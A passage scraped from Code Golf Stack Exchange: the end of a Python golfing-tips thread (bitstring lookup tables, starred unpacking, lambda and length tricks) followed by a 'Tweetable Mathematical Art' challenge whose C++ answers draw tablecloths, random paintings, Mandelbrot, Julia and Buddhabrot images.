``` Then, you can implement this lookup table concisely as: ``` 3714>>i&1 ``` with the resulting `0` or `1` being equal to `False` to `True`. The idea is that the magic number stores the table as a bitstring `bin(3714)` = `0b111010000010`, with the `n`-th digit (from the end) corresponding the the `n`th table entry. We access the `n`th entry by bitshifting the number `n` spaces to the right and taking the last digit by `&1`. This storage method is very efficient. Compare to the alternatives ``` n in[1,7,9,10,11] '0111010000010'[n]>'0' ``` You can have your lookup table store multibit entries that can be extracted like ``` 340954054>>4*n&15 ``` to extract the relevant four-bit block. [Answer] Use extended slicing to select one string from many ``` >>> for x in 0,1,2:print"fbboaaorz"[x::3] ... foo bar baz ``` vs ``` >>> for x in 0,1,2:print["foo","bar","baz"][x] ... foo bar baz ``` In this Boolean two-string case, one can also write ``` b*"string"or"other_string" ``` for ``` ["other_string","string"][b] ``` Unlike interleaving, this works for strings of any length, but can have operator precedence issues if `b` is instead an expression. [Answer] ## Collapse two numerical loops into one Say you're iterating over the cells of an `m*n` grid. Instead of two nested `for` loops, one for the rows and one for the columns, it's usually shorter to write a single loop to iterate over the `m*n` cells of the grid. You can extract the row and column of the cell inside the loop. **Original code:** ``` for i in range(m): for j in range(n): do_stuff(i,j) ``` **Golfed code:** ``` for k in range(m*n): do_stuff(k/n,k%n) ``` In effect, you're iterating over the Cartesian product of the two ranges, encoding the pair `(i,j)` as `x=i*n+j`. You've save a costly `range` call and a level of indentation inside the loop. The order of iteration is unchanged. Use `//` instead of `/` in Python 3. If you refer to `i` and `j` many times, it may be shorter to assign their values `i=k/n`, `j=k%n` inside the loop. [Answer] Use ``n`` to convert an integer to a string instead of using `str(n)`: ``` >>> n=123 >>> `n` '123' ``` Note: Only works in Python 2. [Answer] For integer `n`, you can write * `n+1` as `-~n` * `n-1` as `~-n` because the bit flip `~x` equals `-1-x`. This uses the same number of characters, but can indirectly cut spaces or parens for operator precedence. Compare: ``` while n-1: #Same as while n!=1 while~-n: c/(n-1) c/~-n or f(n)+1 or-~f(n) (n-1)/10+(n-1)%10 ~-n/10+~-n%10 ``` The operators `~` and unary `-` are higher precedence than `*`, `/`, `%`, unlike binary `+`. [Answer] Unless the following token starts with `e` or `E`. You can remove the space following a number. For instance: ``` if i==4 and j==4: pass ``` Becomes: ``` if i==4and j==4: pass ``` Using this in complicated one line statements can save quite a few characters. EDIT: as @marcog pointed out, `4or a` will work, but not `a or4` as this gets confused with a variable name. [Answer] A nice way to convert an iterable to list on **Python 3**: imagine you have some iterable, like ``` i = (1,2,3,4) i = range(4) i = (x**2 for x in range(5)) ``` But you need a list: ``` x=list(i) #the default way *x,=i #using starred assignment -> 4 char fewer ``` It's very useful to make a list of chars out of a string ``` s=['a','b','c','d','e'] s=list('abcde') *s,='abcde' ``` [Answer] # [Extended iterable unpacking](https://www.python.org/dev/peps/pep-3132/) ("Starred assignment", Python 3 only) The best way to explain this is via an example: ``` >>> a,*b,c=range(5) >>> a 0 >>> b [1, 2, 3] >>> c 4 ``` We've already seen a use for this — [turning an iterable into a list in Python 3](https://codegolf.stackexchange.com/a/4389/21487): ``` a=list(range(10)) *a,=range(10) ``` Here are a few more uses. ## Getting the last element from a list ``` a=L[-1] *_,a=L ``` In some situations, this can also be used for getting the first element to save on parens: ``` a=(L+[1])[0] a,*_=L+[1] ``` ## Assigning an empty list and other variables ``` a=1;b=2;c=[] a,b,*c=1,2 ``` ## Removing the first or last element of a non-empty list ``` _,*L=L *L,_=L ``` These are shorter than the alternatives `L=L[1:]` and `L.pop()`. The result can also be saved to a different list. *Tips courtesy of @grc* [Answer] Instead of `range(x)`, you can use the `*` operator on a list of anything, if you don't actually need to use the value of `i`: ``` for i in[1]*8:pass ``` as opposed to ``` for i in range(8):pass ``` If you need to do this more than twice, you could assign any iterable to a variable, and multiply that variable by the range you want: ``` r=1, for i in r*8:pass for i in r*1000:pass ``` **Note**: this is often longer than `exec"pass;"*8`, so this trick should only be used when that isn't an option. [Answer] You can use the good old alien smiley face to reverse sequences: ``` [1, 2, 3, 4][::-1] # => [4, 3, 2, 1] ``` [Answer] ## Use ~ to index from the back of a list If `L` is a list, use `L[~i]` to get the `i`'th element from the back. This is the `i`'th element of the reverse of `L`. The bit complement `~i` equals `-i-1`, and so fixes the off-by-one error from `L[-i]`. [Answer] For ages it bothered me that I couldn't think of a short way to get the entire alphabet. If you use `range` enough that `R=range` is worth having in your program, then ``` [chr(i+97)for i in R(26)] ``` is shorter than the naive ``` 'abcdefghijklmnopqrstuvwxyz' ``` , but otherwise it's longer by a single character. It haunted me that the clever one that required some knowledge of ascii values ended up being more verbose than just typing all the letters. Until I saw [this](https://codegolf.stackexchange.com/a/25627/14509) answer for [My Daughter's Alphabet](https://codegolf.stackexchange.com/questions/25625/my-daughters-alphabet). I can't follow the edit history well enough to figure out if this genius was the work of the OP or if it was a suggestion by a commenter, but this is (I believe) the shortest way to create an iterable of the 26 letters in the Roman alphabet. ``` map(chr,range(97,123)) ``` If case doesn't matter, you can strip off another character by using uppercase: ``` map(chr,range(65,91)) ``` I use `map` way too much, I don't know how this never occurred to me. [Answer] ## set literals in Python2.7 You can write sets like this `S={1,2,3}` This also means you can check for membership using `{e}&S` instead of `e in S` which saves one character. [Answer] **Choosing one of two numbers based on a condition** You [already know](https://codegolf.stackexchange.com/a/62/20260) to use the list selection `[x,y][b]` with a Boolean `b` for the ternary expression `y if b else x`. The variables `x`, `y`, and `b` can also be expressions, though note that both `x` and `y` are evaluated even when not selected. Here's some potential optimizations when `x` and `y` are numbers. * `[0,y][b] -> y*b` * `[1,y][b] -> y**b` * `[x,1][b] -> b or x` * `[x,x+1][b] -> x+b` * `[x,x-1][b] -> x-b` * `[1,-1][b] -> 1|-b` * `[x,~x][b] -> x^-b` * `[x,y][b] -> x+z*b` (or `y-z*b`), where z=y-x. You can also switch `x` and `y` if you can rewrite `b` to be its negation instead. [Answer] When you have two boolean values, `a` and `b`, if you want to find out if both `a` and `b` are true, use `*` instead of `and`: ``` if a and b: #7 chars ``` vs ``` if a*b: #3 chars ``` if either value is false, it will evaluate as `0` in that statement, and an integer value is only true if it is nonzero. [Answer] Although python doesn't have switch statements, you can emulate them with dictionaries. For example, if you wanted a switch like this: ``` switch (a): case 1: runThisCode() break case 2: runThisOtherCode() break case 3: runThisOtherOtherCode() break ``` You could use `if` statements, or you could use this: ``` exec{1:"runThisCode()",2:"runThisOtherCode()",3:"runThisOtherOtherCode()"}[a] ``` or this: ``` {1:runThisCode,2:runThisOtherCode,3:runThisOtherOtherCode}[a]() ``` which is better if all code paths are functions with the same parameters. To support a default value do this: ``` exec{1:"runThisCode()"}.get(a,"defaultCode()") ``` (or this:) ``` ­­{1:runThisCode}.get(a,defaultCode)() ``` One other advantage of this is that if you do have redundancies, you could just add them after the end of the dictionary: ``` exec{'key1':'code','key2':'code'}[key]+';codeThatWillAlwaysExecute' ``` And if you just wanted to use a switch to return a value: ``` def getValue(key): if key=='blah':return 1 if key=='foo':return 2 if key=='bar':return 3 return 4 ``` You could just do this: ``` getValue=lambda key:{'blah':1,'foo':2,'bar',3}.get(key,4) ``` [Answer] # PEP448 – [Additional Unpacking Generalizations](https://www.python.org/dev/peps/pep-0448/) With the release of [Python 3.5](https://www.python.org/downloads/release/python-350/), manipulation of lists, tuples, sets and dicts just got golfier. ## Turning an iterable into a set/list Compare the pairs: ``` set(T) {*T} list(T) [*T] tuple(T) (*T,) ``` Much shorter! Note, however, that if you just want to convert something to a list and assign it to a variable, normal [extended iterable unpacking](https://www.python.org/dev/peps/pep-3132/) is shorter: ``` L=[*T] *L,=T ``` A similar syntax works for tuples: ``` T=*L, ``` which is like extended iterable unpacking, but with the asterisk and comma on the other side. ## Joining lists/tuples Unpacking is slightly shorter than concatenation if you need to append a list/tuple to both sides: ``` [1]+T+[2] [1,*T,2] (1,)+T+(2,) (1,*T,2) ``` ## Printing the contents of multiple lists This isn't limited to `print`, but it's definitely where most of the mileage will come from. PEP448 now allows for multiple unpacking, like so: ``` >>> T = (1, 2, 3) >>> L = [4, 5, 6] >>> print(*T,*L) 1 2 3 4 5 6 ``` ## Updating multiple dictionary items This probably won't happen very often, but the syntax can be used to save on updating dictionaries if you're updating at least three items: ``` d[0]=1;d[1]=3;d[2]=5 d={**d,0:1,1:3,2:5} ``` This basically negates any need for `dict.update`. [Answer] loops up to 4 items may be better to supply a tuple instead of using range ``` for x in 0,1,2: ``` vs ``` for x in range(3): ``` [Answer] ### Use `+=` instead of `append` and `extend` ``` A.append(B) ``` can be shortened to: ``` A+=B, ``` `B,` here creates a one-element tuple which can be used to extend `A` just like `[B]` in `A+=[B]`. --- ``` A.extend(B) ``` can be shortened to: ``` A+=B ``` [Answer] # Ceil and Floor If you ever want to get the rounded-up result for a division, much like you'd do with `//` for floor, you could use `math.ceil(3/2)` for 15 or the much shorter `-(-3//2)` for 8 bytes. ``` math.floor(n) : 13 bytes+12 for import n//1 : 4 bytes math.ceil(n) : 12 bytes+12 for import -(-n//1) : 8 bytes ``` [Answer] Change `import *` to `import*` --- If you haven't heard, `import*` saves chars! ``` from math import* ``` is only 1 character longer than `import math as m` and you get to remove all instances of `m.` Even one time use is a saver! [Answer] A one line function can be done with lambda: ``` def c(a): if a < 3: return a+10 else: return a-5 ``` can be converted to (note missing space `3and` and `10or`) ``` c=lambda a:a<3and a+10or a-5 ``` [Answer] ## Exploit Python 2 string representations Python 2 lets you convert an object `x` to its string representation ``x`` at a cost of only 2 chars. Use this for tasks that are easier done on the object's string than the object itself. **Join characters** Given a list of characters `l=['a','b','c']`, one can produce `''.join(l)` as ``l`[2::5]`, which saves a byte. The reason is that ``l`` is `"['a', 'b', 'c']"` (with spaces), so one can extract the letters with a list slice, starting that the second zero-indexed character `a`, and taking every fifth character from there. This doesn't work to join multi-character strings or escape characters represented like `'\n'`. **Concatenate digits** Similarly, given a non-empty list of digits like `l=[0,3,5]`, one can concatenate them into a string `'035'` as ``l`[1::3]`. This saves doing something like `map(str,l)`. Note that they must be single digits, and can't have floats like `1.0` mixed in. Also, this fails on the empty list, producing `]`. **Check for negatives** Now, for a non-string task. Suppose you have a list `l` of real numbers and want to test if it contains any negative numbers, producing a Boolean. You can do ``` '-'in`l` ``` which checks for a negative sign in the string rep. This shorter than either of ``` any(x<0for x in l) min(l+[0])<0 ``` For the second, `min(l)<0` would fail on the empty list, so you have to hedge. [Answer] ## Length tradeoff reference I've think it would be useful to have a reference for the character count differences for some common alternative ways of doing things, so that I can know when to use which. I'll use `_` to indicate an expression or piece of code. **Assign to a variable: +4** ``` x=_;x _ ``` So, this breaks even if you * Use `_` a second time: `_` has length 5 * Use `_` a third time: `_` has length 3 **Assign variables separately: 0** ``` x,y=a,b x=a;y=b ``` * -2 when `a` equals `b` for `x=y=a` **Expand `lambda` to function `def`: +7** ``` lambda x:_ def f(x):return _ ``` * -2 for named functions * -1 if `_` can touch on the left * -1 in Python 2 if can `print` rather than return * +1 for starred input `*x` Generically, if you're `def` to save an expression to a variable used twice, this breaks even when the expression is length 12. ``` lambda x:g(123456789012,123456789012) def f(x):s=123456789012;return g(s,s) ``` **STDIN rather than function: +1** ``` def f(x):_;print s x=input();_;print s ``` * -1 for line of code needed in `_` if not single-line * +4 if `raw_input` needed in Python 2 * -4 if input variable used only once * +1 if function must `return` rather than `print` in Python 2 **Use `exec` rather than looping over `range(n)`: +0** ``` for i in range(n):_ i=0;exec"_;i+=1;"*n ``` * +2 for Python 3 `exec()` * -4 if shifted range `range(c,c+n)` for single-char `c` * -5 when going backwards from `n` to `1` via `range(n,0,-1)` * -9 if index variable never used **Apply `map` manually in a loop: +0** ``` for x in l:y=f(x);_ for y in map(f,l):_ ``` **Apply `map` manually in a list comprehension: +8** ``` map(f,l) [f(x)for x in l] ``` * -12 when `f` must be written in the `map` as the `lambda` expression `lambda x:f(x)`, causing overall 4 char loss. **Apply `filter` manually in a list comprehension: +11** ``` filter(f,l) [x for x in l if f(x)] ``` * -1 if `f(x)` expression can touch on the left * -12 when `f` must be written in the `filter` as the `lambda` expression `lambda x:f(x)`, causing overall 1 char loss. **Import* versus import single-use: +4*\* ``` import _;_.f from _ import*;f ``` * Breaks even when `_` has length 5 * `import _ as x;x.f` is always worse except for multiple imports * `__import__('_').f` is also worse Thanks to @Sp3000 for lots of suggestions and fixes. ]
[Question] [ **Closed**. This question needs to be more [focused](/help/closed-questions). It is not currently accepting answers. Closed 8 years ago. **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. Integer math can generate amazing patterns when laid out over a grid. Even the most basic functions can yield stunningly elaborate designs! # Your challenge Write 3 Tweetable (meaning 140 characters or less) function bodies for the red, green, and blue values for a 1024x1024 image. The input to the functions will be two integers i (column number for the given pixel) and j (row number for the given pixel) and the output will be an unsigned short between 0 and 1023, inclusive, which represents the amount of the given color present in the pixel (i,j). For example, the following three functions produce the picture below: ``` /* RED */ return (unsigned short)sqrt((double)(_sq(i-DIM/2)*_sq(j-DIM/2))*2.0); /* GREEN */ return (unsigned short)sqrt((double)( (_sq(i-DIM/2)|_sq(j-DIM/2))* (_sq(i-DIM/2)&_sq(j-DIM/2)) )); /* BLUE */ return (unsigned short)sqrt((double)(_sq(i-DIM/2)&_sq(j-DIM/2))*2.0); ``` ![Pattern-1](https://i.stack.imgur.com/da9MA.jpg) ``` /* RED */ return i&&j?(i%j)&(j%i):0; /* GREEN */ return i&&j?(i%j)+(j%i):0; /* BLUE */ return i&&j?(i%j)|(j%i):0; ``` ![Pattern-2](https://i.stack.imgur.com/3z2pa.jpg) # The Rules * Given [this C++ code](http://pastebin.com/uQkCQGhz), substitute in your functions. I have provided a few macros and have included the library, and you may include complex.h. You may use any functions from these libraries and/or my macros. Please do not use any external resources beyond this. * If that version isn't working for you, make sure you're compiling with: ``` g++ filename.cpp -std=c++11 ``` If that doesn't work, please use the [alternate version](http://pastebin.com/12quxkA9) using unsigned chars instead of unsigned shorts. Michaelangelo has provided a cleaned up [24-bit or 48-bit color output](http://pastebin.com/HWKWzebh) version. * You may implement your own version in another language, but it must behave in the same way as the provided C++ version, and only functions from C++'s built-ins, the library, or the provided macros may be used to make it fair. * Post only your three function bodies - please don't include my code in your post * Please include either a smaller version or an embedded copy of your image. They are made into a ppm format and may need to be converted to another for proper viewing on stackexchange. * Function bodies (not including signature) must be 140 characters or less. * This is a popularity contest - most votes wins [Answer] # Table cloths # Flat I started out putting a plaid/gingham pattern into perspective like a boundless table cloth: ``` unsigned char RD(int i,int j){ float s=3./(j+99); return (int((i+DIM)*s+j*s)%2+int((DIM*2-i)*s+j*s)%2)*127; } unsigned char GR(int i,int j){ float s=3./(j+99); return (int((i+DIM)*s+j*s)%2+int((DIM*2-i)*s+j*s)%2)*127; } unsigned char BL(int i,int j){ float s=3./(j+99); return (int((i+DIM)*s+j*s)%2+int((DIM*2-i)*s+j*s)%2)*127; } ``` ![flat table cloth](https://i.stack.imgur.com/boPfJ.png "flat table cloth") # Ripple Then I introduced a ripple (not strictly correct perspective, but still in 140 characters): ``` unsigned char RD(int i,int j){ float s=3./(j+99); float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s; return (int((i+DIM)*s+y)%2+int((DIM*2-i)*s+y)%2)*127; } unsigned char GR(int i,int j){ float s=3./(j+99); float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s; return (int((i+DIM)*s+y)%2+int((DIM*2-i)*s+y)%2)*127; } unsigned char BL(int i,int j){ float s=3./(j+99); float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s; return (int((i+DIM)*s+y)%2+int((DIM*2-i)*s+y)%2)*127; } ``` ![rippled table cloth](https://i.stack.imgur.com/LbR64.png "rippled table cloth") # Colour Then I made some of the colours more fine grained to give detail on a wider range of scales, and to make the picture more colourful... ``` unsigned char RD(int i,int j){ float s=3./(j+99); float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s; return (int((i+DIM)*s+y)%2+int((DIM*2-i)*s+y)%2)*127; } unsigned char GR(int i,int j){ float s=3./(j+99); float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s; return (int(5*((i+DIM)*s+y))%2+int(5*((DIM*2-i)*s+y))%2)*127; } unsigned char BL(int i,int j){ float s=3./(j+99); float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM)*35)*s; return (int(29*((i+DIM)*s+y))%2+int(29*((DIM*2-i)*s+y))%2)*127; } ``` ![coloured table cloth](https://i.stack.imgur.com/ril9E.png "coloured table cloth") # In motion Reducing the code just slightly more allows for defining a wave phase P with 2 decimal places, which is just enough for frames close enough for smooth animation. I've reduced the amplitude at this stage to avoid inducing sea sickness, and shifted the whole image up a further 151 pixels (at the cost of 1 extra character) to push the aliasing off the top of the image. Animated aliasing is mesmerising. ``` unsigned char RD(int i,int j){ #define P 6.03 float s=3./(j+250),y=(j+sin((i*i+_sq(j-700)*5)/100./DIM+P)*15)*s;return (int((i+DIM)*s+y)%2+int((DIM*2-i)*s+y)%2)*127;} unsigned char GR(int i,int j){ float s=3./(j+250); float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM+P)*15)*s; return (int(5*((i+DIM)*s+y))%2+int(5*((DIM*2-i)*s+y))%2)*127;} unsigned char BL(int i,int j){ float s=3./(j+250); float y=(j+sin((i*i+_sq(j-700)*5)/100./DIM+P)*15)*s; return (int(29*((i+DIM)*s+y))%2+int(29*((DIM*2-i)*s+y))%2)*127;} ``` ![animated table cloth](https://i.stack.imgur.com/8Pcmp.gif "animated table cloth") [Answer] ## Random painter ![enter image description here](https://i.stack.imgur.com/8UAOh.png) ``` char red_fn(int i,int j){ #define r(n)(rand()%n) static char c[1024][1024];return!c[i][j]?c[i][j]=!r(999)?r(256):red_fn((i+r(2))%1024,(j+r(2))%1024):c[i][j]; } char green_fn(int i,int j){ static char c[1024][1024];return!c[i][j]?c[i][j]=!r(999)?r(256):green_fn((i+r(2))%1024,(j+r(2))%1024):c[i][j]; } char blue_fn(int i,int j){ static char c[1024][1024];return!c[i][j]?c[i][j]=!r(999)?r(256):blue_fn((i+r(2))%1024,(j+r(2))%1024):c[i][j]; } ``` Here is a randomness-based entry. For about 0.1% of the pixels it chooses a random colour, for the others it uses the same colour as a random adjacent pixel. Note that each colour does this independently, so this is actually just an overlay of a random green, blue and red picture. To get different results on different runs, you'll need to add `srand(time(NULL))` to the `main` function. Now for some variations. By skipping pixels we can make it a bit more blurry. ![enter image description here](https://i.stack.imgur.com/uy9s7.png) And then we can slowly change the colours, where the overflows result in abrupt changes which make this look even more like brush strokes ![enter image description here](https://i.stack.imgur.com/JEsbA.jpg) Things I need to figure out: * For some reason I can't put `srand` within those functions without getting a segfault. * If I could make the random walks the same across all three colours it might look a bit more orderly. You can also make the random walk isotropic, like ``` static char c[1024][1024];return!c[i][j]?c[i][j]=r(999)?red_fn((i+r(5)+1022)%1024,(j+r(5)+1022)%1024):r(256):c[i][j]; ``` to give you ![enter image description here](https://i.stack.imgur.com/pC84j.png) ## More random paintings I've played around with this a bit more and created some other random paintings. Not all of these are possible within the limitations of this challenge, so I don't want to include them here. But you can see them in [**this imgur gallery**](https://i.stack.imgur.com/YhHgg.jpg) along with some descriptions of how I produced them. I'm tempted to develop all these possibilities into a framework and put it on GitHub. (Not that stuff like this doesn't already exist, but it's fun anyway!) [Answer] # Some swirly pointy things Yes, I knew exactly what to name it. ![Some swirly pointy things](https://i.stack.imgur.com/as0BL.png) ``` unsigned short RD(int i,int j){ return(sqrt(_sq(73.-i)+_sq(609-j))+1)/(sqrt(abs(sin((sqrt(_sq(860.-i)+_sq(162-j)))/115.0)))+1)/200; } unsigned short GR(int i,int j){ return(sqrt(_sq(160.-i)+_sq(60-j))+1)/(sqrt(abs(sin((sqrt(_sq(86.-i)+_sq(860-j)))/115.0)))+1)/200; } unsigned short BL(int i,int j){ return(sqrt(_sq(844.-i)+_sq(200-j))+1)/(sqrt(abs(sin((sqrt(_sq(250.-i)+_sq(20-j)))/115.0)))+1)/200; } ``` **EDIT:** No longer uses `pow`. **EDIT 2:** @PhiNotPi pointed out that I don't need to use abs as much. You can change the reference points pretty easily to get a different picture: ![Some more swirly pointy things](https://i.stack.imgur.com/4pEBN.png) ``` unsigned short RD(int i,int j){ return(sqrt(_sq(148.-i)+_sq(1000-j))+1)/(sqrt(abs(sin((sqrt(_sq(500.-i)+_sq(400-j)))/115.0)))+1)/200; } unsigned short GR(int i,int j){ return(sqrt(_sq(610.-i)+_sq(60-j))+1)/(sqrt(abs(sin((sqrt(_sq(864.-i)+_sq(860-j)))/115.0)))+1)/200; } unsigned short BL(int i,int j){ return(sqrt(_sq(180.-i)+_sq(100-j))+1)/(sqrt(abs(sin((sqrt(_sq(503.-i)+_sq(103-j)))/115.0)))+1)/200; } ``` @EricTressler pointed out that my pictures have Batman in them. ![Batman](https://i.stack.imgur.com/0IgLZ.png) [Answer] Of course, there has to be a Mandelbrot submission. ![enter image description here](https://i.stack.imgur.com/bJZHw.png) ``` char red_fn(int i,int j){ float x=0,y=0;int k;for(k=0;k++<256;){float a=x*x-y*y+(i-768.0)/512;y=2*x*y+(j-512.0)/512;x=a;if(x*x+y*y>4)break;}return k>31?256:k*8; } char green_fn(int i,int j){ float x=0,y=0;int k;for(k=0;k++<256;){float a=x*x-y*y+(i-768.0)/512;y=2*x*y+(j-512.0)/512;x=a;if(x*x+y*y>4)break;}return k>63?256:k*4; } char blue_fn(int i,int j){ float x=0,y=0;int k;for(k=0;k++<256;){float a=x*x-y*y+(i-768.0)/512;y=2*x*y+(j-512.0)/512;x=a;if(x*x+y*y>4)break;}return k; } ``` Trying to improve the colour scheme now. Is it cheating if I define the computation as a macro is `red_fn` and use that macro in the other two so I have more characters for fancy colour selection in green and blue? **Edit:** It's really hard to come up with decent colour schemes with these few remaining bytes. Here is one other version: ``` /* RED */ return log(k)*47; /* GREEN */ return log(k)*47; /* BLUE */ return 128-log(k)*23; ``` ![enter image description here](https://i.stack.imgur.com/ha0lJ.png) And as per githubphagocyte's suggestion and with Todd Lehman's improvements, we can easily pick smaller sections: E.g. ``` char red_fn(int i,int j){ float x=0,y=0,k=0,X,Y;while(k++<256e2&&(X=x*x)+(Y=y*y)<4)y=2*x*y+(j-89500)/102400.,x=X-Y+(i-14680)/102400.;return log(k)/10.15*256; } char green_fn(int i,int j){ float x=0,y=0,k=0,X,Y;while(k++<256e2&&(X=x*x)+(Y=y*y)<4)y=2*x*y+(j-89500)/102400.,x=X-Y+(i-14680)/102400.;return log(k)/10.15*256; } char blue_fn(int i,int j){ float x=0,y=0,k=0,X,Y;while(k++<256e2&&(X=x*x)+(Y=y*y)<4)y=2*x*y+(j-89500)/102400.,x=X-Y+(i-14680)/102400.;return 128-k/200; } ``` gives ![enter image description here](https://i.stack.imgur.com/20cg2.png) [Answer] ## Mandelbrot 3 x 133 chars The first thing that popped into my mind was "Mandelbrot!". Yes, I know there already is a mandelbrot submission. After confirming that I'm able to get it below 140 characters myself, I have taken the tricks and optimizations from that solution into mine (thanks Martin and Todd). That left space to choose an interesting location and zoom, as well as a nice color theme: ![mandelbrot](https://i.stack.imgur.com/ogqlO.png) ``` unsigned char RD(int i,int j){ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880) {b=2*a*b+j*8e-9-.645411;a=c-d+i*8e-9+.356888;} return 255*pow((n-80)/800,3.); } unsigned char GR(int i,int j){ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880) {b=2*a*b+j*8e-9-.645411;a=c-d+i*8e-9+.356888;} return 255*pow((n-80)/800,.7); } unsigned char BL(int i,int j){ double a=0,b=0,c,d,n=0; while((c=a*a)+(d=b*b)<4&&n++<880) {b=2*a*b+j*8e-9-.645411;a=c-d+i*8e-9+.356888;} return 255*pow((n-80)/800,.5); } ``` ## 132 chars total I tried to get it down to 140 for all 3 channels. There is a bit of color noise near the edge, and the location is not as interesting as the first one, but: 132 chars ![mandelbrot-reduced](https://i.stack.imgur.com/zqGfD.png) ``` unsigned char RD(int i,int j){ double a=0,b=0,d,n=0; for(;a*a+(d=b*b)<4&&n++<8192;b=2*a*b+j/5e4+.06,a=a*a-d+i/5e4+.34); return n/4; } unsigned char GR(int i,int j){ return 2*RD(i,j); } unsigned char BL(int i,int j){ return 4*RD(i,j); } ``` [Answer] # Julia sets If there's a Mandelbrot, there should be a Julia set too. ![enter image description here](https://i.stack.imgur.com/LJMzd.png) You can spend hours tweaking the parameters and functions, so this is just a quick one that looks decent. Inspired from Martin's participation. ``` unsigned short red_fn(int i, int j){ #define D(x) (x-DIM/2.)/(DIM/2.) float x=D(i),y=D(j),X,Y,n=0;while(n++<200&&(X=x*x)+(Y=y*y)<4){x=X-Y+.36237;y=2*x*y+.32;}return log(n)*256;} unsigned short green_fn(int i, int j){ float x=D(i),y=D(j),X,Y,n=0;while(n++<200&&(x*x+y*y)<4){X=x;Y=y;x=X*X-Y*Y+-.7;y=2*X*Y+.27015;}return log(n)*128;} unsigned short blue_fn(int i, int j){ float x=D(i),y=D(j),X,Y,n=0;while(n++<600&&(x*x+y*y)<4){X=x;Y=y;x=X*X-Y*Y+.36237;y=2*X*Y+.32;}return log(n)*128;} ``` # Would you like some RNG? OK, Sparr's comment put me on the track to randomize the parameters of these little Julias. I first tried to do bit-level hacking with the result of `time(0)` but C++ doesn't allow hexadecimal floating point litterals so this was a dead-end (with my limited knowledge at least). I could have used some heavy casting to achieve it, but that wouldn't have fit into the 140 bytes. I didn't have much room left anyway, so I had to drop the red Julia to put my macros and have a more conventional RNG (`time`d seed and real `rand()`, woohoo!). ![enter image description here](https://i.stack.imgur.com/AgjFi.png) Whoops, something is missing. Obviously, these parameters have to be static or else you have some weird results (but funny, maybe I'll investigate a bit later if I find something interesting). So here we are, with only green and blue channels: ![enter image description here](https://i.stack.imgur.com/7YgFy.png) ![enter image description here](https://i.stack.imgur.com/U1zez.png) ![enter image description here](https://i.stack.imgur.com/omSaB.png) Now let's add a simple red pattern to fill the void. Not really imaginative, but I'm not a graphic programer ... yet :-) ![enter image description here](https://i.stack.imgur.com/MkvMA.jpg) ![enter image description here](https://i.stack.imgur.com/A9sIn.jpg) And finally the new code with random parameters: ``` unsigned short red_fn(int i, int j){ static int n=1;if(n){--n;srand(time(0));} #define R rand()/16384.-1 #define S static float r=R,k=R;float return _cb(i^j);} unsigned short green_fn(int i, int j){ #define D(x) (x-DIM/2.)/(DIM/2.), S x=D(i)y=D(j)X,Y;int n=0;while(n++<200&&(X=x)*x+(Y=y)*y<4){x=X*X-Y*Y+r;y=2*X*Y+k;}return log(n)*512;} unsigned short blue_fn(int i, int j){ S x=D(i)y=D(j)X,Y;int n=0;while(n++<200&&(X=x)*x+(Y=y)*y<4){x=X*X-Y*Y+r;y=2*X*Y+k;}return log(n)*512;} ``` There's still room left now ... [Answer] This one is interesting because it doesn't use the i, j parameters at all. Instead it remembers state in a static variable. ``` unsigned char RD(int i,int j){ static double k;k+=rand()/1./RAND_MAX;int l=k;l%=512;return l>255?511-l:l; } unsigned char GR(int i,int j){ static double k;k+=rand()/1./RAND_MAX;int l=k;l%=512;return l>255?511-l:l; } unsigned char BL(int i,int j){ static double k;k+=rand()/1./RAND_MAX;int l=k;l%=512;return l>255?511-l:l; } ``` ![colorful](https://i.stack.imgur.com/55zop.png) [Answer] ![Image](https://i.stack.imgur.com/568Tf.png) ``` /* RED */ int a=(j?i%j:i)*4;int b=i-32;int c=j-32;return _sq(abs(i-512))+_sq(abs(j-512))>_sq(384)?a:int(sqrt((b+c)/2))^_cb((b-c)*2); /* GREEN */ int a=(j?i%j:i)*4;return _sq(abs(i-512))+_sq(abs(j-512))>_sq(384)?a:int(sqrt((i+j)/2))^_cb((i-j)*2); /* BLUE */ int a=(j?i%j:i)*4;int b=i+32;int c=j+32;return _sq(abs(i-512))+_sq(abs(j-512))>_sq(384)?a:int(sqrt((b+c)/2))^_cb((b-c)*2); ``` [Answer] ## Buddhabrot (+ Antibuddhabrot) **Edit:** It's a proper Buddhabrot now! **Edit:** I managed to cap the colour intensity within the byte limit, so there are no more falsely black pixels due to overflow. I really wanted to stop after four... but... ![enter image description here](https://i.stack.imgur.com/eNqJu.jpg) This gets slightly compressed during upload (and shrunk upon embedding) so if you want to admire all the detail, here is the interesting 512x512 cropped out (which doesn't get compressed and is displayed in its full size): ![enter image description here](https://i.stack.imgur.com/ao30A.png) Thanks to githubphagocyte for the idea. This required some rather complicated abuse of all three colour functions: ``` unsigned short RD(int i,int j){ #define f(a,b)for(a=0;++a<b;) #define D float x=0,y=0 static int z,m,n;if(!z){z=1;f(m,4096)f(n,4096)BL(m-4096,n-4096);};return GR(i,j); } unsigned short GR(int i,int j){ #define R a=x*x-y*y+i/1024.+2;y=2*x*y+j/1024.+2 static float c[DIM][DIM],p;if(i>=0)return(p=c[i][j])>DM1?DM1:p;c[j+DIM][i/2+DIM]+=i%2*2+1; } unsigned short BL(int i,int j){ D,a,k,p=0;if(i<0)f(k,5e5){R;x=a;if(x*x>4||y*y>4)break;GR(int((x-2)*256)*2-p,(y-2)*256);if(!p&&k==5e5-1){x=y=k=0;p=1;}}else{return GR(i,j);} } ``` There are some bytes left for a better colour scheme, but so far I haven't found anything that beats the grey-scale image. The code as given uses 4096x4096 starting points and does up to 500,000 iterations on each of them to determine if the trajectories escape or not. That took between 6 and 7 hours on my machine. You can get decent results with a 2k by 2k grid and 10k iterations, which takes two minutes, and even just a 1k by 1k grid with 1k iterations looks quite nice (that takes like 3 seconds). If you want to fiddle around with those parameters, there are a few places that need to change: * To change the Mandelbrot recursion depth, adjust both instances of `5e5` in `BL` to your iteration count. * To change the grid resolution, change all four `4096` in `RD` to your desired resolution and the `1024.` in 